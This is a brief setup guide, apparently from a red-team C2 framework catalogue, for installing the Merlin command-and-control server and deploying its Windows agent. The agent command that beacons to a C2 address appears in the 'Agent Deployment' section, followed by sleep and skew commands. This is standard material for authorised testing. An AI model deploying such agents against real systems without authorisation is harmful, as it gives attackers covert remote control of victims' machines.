> For the complete documentation index, see [llms.txt](https://howto.thec2matrix.com/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://howto.thec2matrix.com/c2/merlin.md).

# Merlin

## Install Merlin

```
apt install golang
mkdir /opt/merlin
cd /opt/merlin
wget https://github.com/Ne0nd0g/merlin/releases/download/v0.8.0/merlinServer-Linux-x64-v0.8.0.BETA.7z
7z x merlinServer-Linux-x64-v0.8.0.BETA.7z
```

## Run Merlin

```bash
cd /opt/merlin
sudo ./merlinServer-Linux-x64 -i <IP> -psk <key>
```

### Agent Deployment

Download agent from releases: <https://github.com/Ne0nd0g/merlin/releases>

```bash
merlinAgent-Windows-x64.exe -url https://10.0.0.194:443 -psk test
```

![](/files/-M4P9f1OsrHr5MexHlla)

### Interact with Agent

```bash
interact <Agent ID>
```

Visit wiki for additional information on interacting with an agent: <https://github.com/Ne0nd0g/merlin/wiki/Merlin-Server-Agent-Menu>

#### Test beacon delay

set sleep 10s

set skew 5
